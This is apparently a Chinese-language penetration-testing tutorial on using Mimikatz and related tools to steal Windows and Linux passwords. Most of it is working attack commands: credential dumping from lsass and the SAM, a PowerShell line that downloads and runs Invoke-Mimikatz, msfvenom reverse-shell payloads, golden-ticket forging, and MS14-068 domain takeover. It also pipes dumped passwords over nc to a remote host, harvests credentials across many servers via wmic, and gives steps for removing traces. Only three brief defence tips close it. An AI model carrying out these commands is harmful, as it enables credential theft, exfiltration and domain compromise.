1.1Mimikatz獲取系統密碼攻防研究
Simeon
Mimikatz是法國人benjamin開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由于其功能強大,能夠直接讀取WindowsXP-2012等操作系統的明文密碼而聞名于滲透測試,可以說是滲透必備工具,從早期1.0版本到現在的2.1.1 20180205版本,其功能得到了很大的提升和擴展。Mimikatz最新版本一共三個文件(mimilib.dll、mimikatz.exe、mimidrv.sys),分為Win32位(多了一個mimilove.exe文件)和X64位。通過它們可以提升進程權限、注入進程讀取進程內存,可以直接從lsass中獲取當前登錄過系統用戶的賬號明文密碼,lsass是微軟Windows系統的安全機制它主要用于本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在lsass內存中,經過其wdigest和tspkg兩個模塊調用后,對其使用可逆的算法進行加密并存儲在內存之中,而mimikatz正是通過對lsass的逆算獲取到明文密碼!本文以mimikatz最新版為例,介紹了mimikatz的參數、獲取密碼以及偽造黃金票據獲取域控密碼等用戶,利用ms14-068結合mimikatz獲取域控密碼等,最后文中還給出了相應的防范方法,對網絡攻防都具有一定的借鑒意義。
1.1.1下載及安裝
最新版下載地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
???下載后解壓縮即可,里面分為Win32和X64,Win32是針對Windows32位,而X64是正對64位操作系統,目前絕大部分操作系統為64位(支持大內存的使用)。其相關資源:
(1)個人blog:http://blog.gentilkiwi.com/
(2)最新版本:https://github.com/gentilkiwi/mimikatz/releases
(3)github庫:https://github.com/gentilkiwi/mimikatz
1.1.2使用參數詳解
本次測試使用Win32版本,將程序解壓后,通過cmd進入當前目錄,執行mimikatz程序,如圖1所示,隨便輸入即可獲取幫助信息。
圖1顯示幫助信息
1.基本命令
?(1)exit:退出mimikatz。
(2)cls:清除當前屏幕。
(3)answer:對生命、宇宙和萬物的終極問題的回答.
(4)coffee:顯示coffee圖案。
(5)sleep:默認睡眠1000ms,后跟時間參數。
(6)log:記錄mimikatz所有的輸入和輸出到當前目錄下的log.txt文件。
(7)base64:將輸入/輸出轉換成base64編碼。
(8)version:查看mimikatz的版本
(9)cd:切換或者顯示當前目錄。
(10)localtime:顯示系統當前時間和UTC時間。
(11)hostname:顯示主機的名稱。
2.使用模塊
輸入“::”顯示其支持模塊信息。
(1)standard:標準模塊,基本命令,不需要模塊信息。
(2)crypto:?加密模塊,其后跟以下參數,其使用命令為crypto::參數名,例如crypto::providers,如圖2所示。
圖2參考加密算法提供類型及名單
providers ?-該命令列出所有CryptoAPI提供者。
stores ?- ?列出系統存儲中的邏輯存儲,crypto::stores /systemstore:local_machine
certificates ?- ?顯示或者導出證書
keys ?- ?列出或者顯示密鑰
sc ?- ?此命令列出系統上的智能卡/令牌讀取器或將其移出系統。當CSP可用時,它會嘗試在智能卡上列出密鑰。
hash ?- 顯示當前用戶的的哈希(LM、NTLM、md5、sha1、sha2)計算值
system ?- ?描述windows系統證書 (,注冊表或者hive文件)
scauth ?- ?從CA創建一個認證(智能卡等)
certtohw ?-嘗試將軟件CA導出到加密(虛擬)硬件中。
capi ?-修補CryptoAPI程序方便導出。
cng ?- 修補CNG服務方便導出
extract ?-從CAPI RSA/AES 提供者獲取密鑰
(3)sekurlsa枚舉用戶憑證
sekurlsa::msv ?- ?獲取LM & NTLM 憑證,可以獲取明文密碼
sekurlsa::wdigest ?- ?獲取 WDigest 憑證,可以獲取明文密碼
sekurlsa::kerberos ?- ?獲取Kerberos 憑證
sekurlsa::tspkg ?- ?獲取 TsPkg 憑證
sekurlsa::livessp ?- 獲取LiveSSP 憑證
sekurlsa::ssp ?- 獲取憑證
sekurlsa::logonPasswords獲登陸用戶信息及密碼,如果是在系統權限或者psexec進入的系統權限下,直接使用該命令,而無需運行privilege::debug,否則需要運行該命令。
sekurlsa::process ?- ?切換或者恢復到lsass初始狀態
sekurlsa::minidump ?- ?切換或者恢復到minidump初始狀態
sekurlsa::pth ?- ?Pass-the-hash
sekurlsa::krbtgt ?- ?krbtgt!
sekurlsa::dpapisystem ?- 顯示DPAPI_SYSTEM密碼值
sekurlsa::tickets ?- ?顯示Kerberos票據
sekurlsa::ekeys ?- ?顯示Kerberos加密密鑰
sekurlsa::dpapi ?- ?顯示內存中的MasterKeys
sekurlsa::credman ?- ?顯示管理員憑證
(4)kerberos ?- ?Kerberos包模塊?
(5)privilege ?-特權模塊
Privilege::debug ?- ?請求調試權限
Privilege::driver ?- ?請求裝載驅動權限
Privilege::security ?- 請求安全權限
Privilege::tcb ?- ?請求tcb權限
Privilege::backup ?- 請求backup權限
Privilege::restore ?- ?請求恢復權限
Privilege::sysenv ?- ?請求系統環境權限
Privilege::id ?- ?請求id特權,參數后跟具體的id值。例如請求特權8:privilege::id 8
Privilege::name ?- ?請求指定名稱的權限
(6)process:進程模塊
process::list ?- ?列出進程
process::exports ?- 導出進程列表
process::imports ?- 導入進程列表
process::start ?- ?開始一個進程,后跟進程名稱。
process::stop ?- ?終止一個進程,process::stop /pid:1692(結束pid為1692的進程)
process::suspend ?- 掛起一個進程
process::resume ?- ?恢復一個進程
process::run ?- ?運行一個進程
(7)service ?- ?Service module
service::start ?- ?開始服務
service::remove ?- 移除服務
service::stop ?- ?停止服務
service::suspend ?- ?暫停服務
service::resume ?- ?恢復服務
service::preshutdown ?- 預關閉服務
service::shutdown ?- ?關閉服務
service::list ?- ?列出服務
service::+ ?-安裝mimikatz服務
service::- ?- 卸載mimikatz服務
(8)lsadump ?- ?LsaDump module
Lsadump::sam ?- ?該命令轉儲安全帳戶管理器(SAM)數據庫。它包含用戶密碼的NTLM,有時包含LM哈希。
在線命令提升模式獲取:
privilege::debug
token::whoami
token::elevate
lsadump::sam
離線獲取:
通過以下方式備份SYSTEM&SAM配置:
reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv
或者使用Volue Shadow Copy / BootCD來備份這些文件:
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM
然后執行mimikatz # lsadump::sam SystemBkup.hiv SamBkup.hiv即可獲取。
http://www.objectif-securite.ch/en/ophcrack.php和http://www.cmd5.com/可在線進行破解查詢。
Lsadump::secrets 從registry或者hives獲取保存的密碼憑據,可以直接獲取明文密碼。
Lsadump::cache ?獲取內存中的密碼值
Lsadump::lsa 從lsa服務器獲取密碼。lsadump::lsa /inject /name:krbtgt
Lsadump::trust ?- ?Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fbackupkeys ???rpdata
Lsadump::dcsync ?- ?Ask a DC to synchronize an object
Lsadump::dcshadow ?- ?They told me I could be anything I wanted, so I became a domain controller
Lsadump::setntlm ?- ?Ask a server to set a new password/ntlm for one user
Lsadump::changentlm ?- ?Ask a server to set a new password/ntlm for one user
Lsadump::netsync ?- ?Ask a DC to send current and previous NTLM hash of DC/SRV/WKS
(9)ts終端服務模塊
ts::sessions 顯示當前的會話
ts::multirdp 允許多個用戶使用rdp,安裝rdp補丁。
(10)event事件模塊
event::drop 啟用事件補丁服務,不再記錄新產生的事件。
event::clear 清除時間日志。
(11)misc 雜項模塊,打開cmd, regedit, taskmgr, ncroutemon, detours, wifi, addsid, memssp, skeleton等。
(12)token ?-令牌操作模塊
token::whoami ?- ?顯示當前的身份
token::list ?- ?列出系統所有的令牌
token::elevate ?- 冒充令牌
token::run ?- ?運行
token::revert ?- ?恢復到進程令牌
(13)vault ?- ?Windows信任/憑證模塊。Vault::list列出Windows信任/憑證。
(14)net 顯示user、group、alias 、session、wsession、tod、stats、share、serverinfo ?等信息。
1.1.3mimikatz獲取密碼
1.舊版本配合psexec密碼獲取方法及命令
(1)到tools目錄。psexec \\127.0.0.1 cmd
(2)執行mimikatz
(3)執行privilege::debug
(4)執行inject::process lsass.exe sekurlsa.dll
(5)執行@getLogonPasswords
(6)widget就是密碼
(7)exit退出,不要直接關閉否則系統會崩潰。
2.bat腳本獲取法
(1)創建get.bat腳本
@echo off
mimikatz.exe <command.txt >pass.txt
exit
(2)創建command.txt文件
privilege::debug
inject::process lsass.exe sekurlsa.dll ??
@getLogonPasswords
Exit
(3)執行get.bat文件即可獲取密碼,pass.txt記錄的即為獲取的密碼,get.bat、command.txt和mimikatz.exe在同一個文件夾下。
2.mimikatz2.0以上版本獲取系統明文密碼
(1)sekurlsa獲取
privilege::debug
sekurlsa::logonpasswords
(2)Lsadump獲取密碼
Lsadump::secrets
3.利用ms14-068漏洞進行攻擊
(1)生成tgt_zhangsan@admin.com.ccche票據
ms14-068.py -u zhangsan@admin.com -p venus123@ -s S-1-5-21-1825629200-489098874-1280338471-1104 -d admin.com
(2)導入票據
mimikatz kerberos::ptc c:/tgt_zhangsan@admin.com.ccche
1.1.4使用ps1批量獲取windows密碼
在Windows2008及以上操作系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:獲取密碼的計算機必須能夠訪問raw.githubusercontent.com網絡,也可以將該ps文件下載到其他地址,然后替換后執行。該腳本目前在win2014中只能獲取NTLM值,無法獲取明文密碼,如圖3所示。
圖3通過ps腳本獲取密碼值
1.1.5MSF下mimikatz獲取密碼
1.需要生成一個反彈的可執行程序或者通過漏洞直接獲取一個反彈的shell。下面是通過msfvenom生成shell:
(1)Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
(2)Windows:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
(3)Mac:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
(4)PHP:msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
(5)asp:msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
(6)JSP:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
(7)WAR:msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
(8)Python:msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
(9)Bash:msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
(10)Perl:msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
(11)Linux Based Shellcode:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(12)Windows Based Shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
(13)Mac Based Shellcode:msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
在架構中比較好用的有兩個cmd/powershell_base64和x86/shikata_ga_nai,下面生成一個實例(反彈的服務器IP為192.168.106.133):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.106.133 LPORT=4444 -f exe > shell.exe
2. 運行msfconsole并設置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.106.133
set lport 4444
run或者exploit
3.在測試計算機上運行exe文件
4.在msf獲取反彈的shell,如圖5所示。
(1)getuid獲取當前帳號為系統權限,則進行后續操作,否則通過ps命令去獲取小于1000以內的pid,執行migrate pid來提升權限后,繼續執行后續步驟。
(2)load mimikatz
(3)運行mimikatz下面的憑證獲取命令
??kerberos???獲取網絡認證協議憑證,其中可能會有明文密碼
??msv????????獲取msv 憑證,其中包含LM和NTLM哈希密碼值
??wdigest????獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
(4)還可以執行hashdump來導出系統的哈希密碼值
1.1.6使用Mimikatz偽造Kerberos黃金票據
以域控test.local為例子,mimikatz在c:\test\目錄下。
1.導出krbtgt的Hash
在域控上執行通過mimkatz輸出:
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
找到如下信息:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
2、生成Golden Ticket
偽造的用戶設置為god,執行:
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god /ticket:gold.kirbi"
生成文件gold.kirbi
3、偽造Golden Ticket獲得域控權限,導入Golden Ticket,執行如下命令:
kerberos::ptt c:\test\gold.kirbi
1.1.7ms14_068獲取域控密碼
1.?利用ms14_068漏洞獲取域控權限
目前網上有python腳本的利用方法,其下載地址:https://github.com/bidord/pykek,具體方法如下:
(1)獲取SID
方法1:wmic useraccount where name="USERNAME" get sid
方法2:whoami /all 或者whoami /user ?本機可以直接查出自己的SID;例如獲取SID值為:S-1-5-21-3314867233-3443566213-336233174-500
(2)生成tgt文件
ms14-068.py -u antian365@antian365.local -s S-1-5-21-3314867233-3443566213-336233174-500-d DC2. antian365.local
會在當前命令目錄生成一個TGT_?antian365@?antian365.local.ccache文件,將該文件復制到mimikatz目錄。
(3)導入tgt文件
mimikatz.exe log "kerberos::ptc TGT_?antian365@?antian365.local.ccache" exit
(4)查看并獲取域控權限
net use \\DC2.?antian365.local\admin$ ???//注:使用IP可能會失敗
dir \\DC2.?antian365.local\c$
(5)klist查看票據,klist僅僅在win2008以上可以查看。
2.MSF漏洞模塊利用
(1)使用ms14_068模塊
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
set DOMAIN DEMO.LOCAL
set PASSWORD antian365
set USER antian365
set USER_SID S-1-5-21-3314867233-3443566213-336233174-500
set RHOST WIN-T.demo.local
run
生成一個形如time_default_ip_windows.kerberos_num.bin的文件
(2)導入bin文件
kerberos::clist "time_default_ip_windows.kerberos_num.bin" /export/
保存為0-00000000-antian365@krbtgt-DEMO.LOCAL.kirbi文件。
(3)使用生成的kirbi
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
exploit
getuid
load mimikatz
kerberos_ticket_use /tmp/0-00000000- antian365@krbtgt-DEMO.LOCAL.kirbi
background
sessions
(4)獲取域控權限
use exploit/windows/local/current_user_psexec
set TECHNIQUE PSH
set RHOSTS WIN-T.demo.local
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.158.1
set SESSION 1
exploit
getuid
1.1.8 mimikatz使用技巧
1. 獲取并記錄密碼到mimikatz.log文件
mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords "" exit && dir
2.輸出到本地log.txt文件
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt
3.記錄新密碼到文件
有時候獲取的哈希是舊的,這時需要記錄新的登錄哈希值,可以使用以下命令來記錄,記錄的結果在c:\windows\system32\mimilsa.log。
mimikatz.exe
privilege::debug
misc::memssp
4.通過nc命令將mimikatz執行結果傳輸到遠程
(1)取結果服務器(192.168.106.145)執行監聽命令
nc -vlp 44444
(2)在想獲取密碼的服務器上執行
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords "" exit | nc.exe -vv 192.168.106.145 4444
5通過nc命令遠程執行mimikatz
(1)在黑客反彈計算機(192.168.106.145)上執行
nc.exe -vlp ?4444
(2)在被攻擊計算機(192.168.106.130)上執行
nc.exe -vv 192.168.106.145 4444 -e mimikatz.exe
接著就會反彈到192.168.106.145的4444端口,出來一個cmd的窗口,可以在該窗口進行密碼獲取,如圖4所示。
圖4nc反彈執行命令
6.批量獲取域控密碼
通常在域滲透的時候,我們可能想要獲得更多的密碼,針對server08以后的服務器獲取ntds.dit的hash以后還不一定能破解出來,所以可以通過Mimikatz來獲取明文密碼,但是一臺一臺登陸去獲取會很慢且不方便,所以這里介紹一個批量的方法:
(1)創建共享文件夾:
cd\
mkdir open
net share open=C:\open /grant:everyone,full
icacls C:\open\ /grant Everyone:(OI)(CI)F /t
修改注冊表
reg change HKLM\System\CurrentControlSet\services\LanmanServer\Parameters NullSessionShares REG_MULTI_SZ open
reg change HKLM\System\CurrentControlSet\Control\Lsa "EveryoneIncludesAnonymous" 1
修改共享目錄到open。
(2)在共享目錄添加下列文件:
1)執行腳本powershellme.cmd,腳本內容:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.11:8080/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.1.11\open\%COMPUTERNAME%.txt 2>&1
ip是設置共享的主機ip地址。
2)Invoke-Mimikatz.ps1
3)mongoose
4)服務器列表serverlist.txt,換行分割。
(3)運行mongoose,默認開啟端口8080
(4)執行wmic:
wmic /node:@serverlist.txt process call create "\\192.168.1.11\open\powershellme.cmd"
帶憑證:
wmic /node:@serverlist.txt /user:PROJECTMENTOR\evi1cg /password:123 process call create "\\192.168.1.11\open\powershellme.cmd"
(5)在共享目錄看各個服務器的密碼吧。
(6)清除記錄:
1)關掉mongoose,并刪除
2)net share open /delete
3)刪除共享目錄及文件
4)修改注冊表
PS:可以使用如下命令開啟PowerShell remoting:
psexec @serverlist.txt -u [admin account name] -p [admin account password] -h -d powershell.exe "enable-psremoting -force"
1.1.9linux版本的mimikatz密碼獲取工具mimipenguin
1. mimipenguin
mimikatz的Linux平臺仿造版本mimipenguin(由@HunterGregal開發),mimipenguin需要root權限運行,通過檢索內存、/etc/shadow文件等敏感區域查找信息進行計算,從而提取出系統明文密碼。軟件下載地址:https://github.com/huntergregal/mimipenguin,下載后運行mimipenguin.sh即可,如圖5所示。
圖5linux下直接獲取密碼
2.支持版本
Kali 4.3.0 (rolling) x64 (gdm3)
Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
Archlinux x64 Gnome 3 (Gnome Keyring 3.20)
OpenSUSE Leap 42.2 x64 (Gnome Keyring 3.20)
VSFTPd 3.0.3-8+b1 (Active FTP client connections)
Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions) [Gcore dependency]
openssh-server 1:7.3p1-1 (Active SSH connections - sudo usage)
1.1.10安全防范mimikatz獲取密碼
參考作者及網上安全防范方法主要有以下三個方法:
1.用戶被添加到保護用戶組。將域控升級到Active Directory 2012 R2功能級別,然后將重要用戶添加到保護用戶組。
2.安裝KB2871997補丁程序。
3.修改注冊表鍵值
在HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest下新建UseLogonCredential值,其類型為Dword32位類型,值為0即可。
參考文章:
https://evi1cg.me/archives/Get_Passwords_with_Invoke-Mimikatz.html
https://www.cnblogs.com/backlion/p/8127868.html
個人原創書籍:
1.《網絡攻防實戰研究:MySQL數據庫攻擊與防御》京東購買地址:https://item.jd.com/12743208.html
2.《Web服務器滲透實戰技術》京東購買地址:?https://item.jd.com/12707216.html
3.《sqlmap從入門到精通》京東購買地址:https://item.jd.com/12671154.html